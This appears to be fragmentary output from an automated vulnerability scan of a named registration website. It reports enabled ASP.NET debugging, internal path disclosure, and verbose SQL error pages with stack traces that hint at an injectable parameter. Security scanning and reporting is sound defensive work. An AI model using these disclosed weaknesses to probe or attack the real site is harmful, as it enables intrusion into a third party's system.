GET / HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 403 Access Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 13:34:53 GMT Connection: close Content-Type: text/html Content-Length: 172
<html><head><title>Directory Listing Denied</title></head><body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</body></html>
Netsparker identified that ASP.NET Debugging is enabled.
Impact
This indicates that the debugging flag was left enabled in the production system. There is no direct impact of this issue and it is presented here only for information.
Remedy
Apply the following changes on your web.config file to disable ASP.NET debugging.
Netsparker identified an internal path in the document.
Impact
There is no direct impact however this information can help an attacker either to identify other vulnerabilities or during the exploitation of other identified vulnerabilities.
Remedy
First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this file path was actually the real file path of the target web server.
Error messages should be disabled.
Remove this kind of sensitive data from the output.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'S0001'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'S0001'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
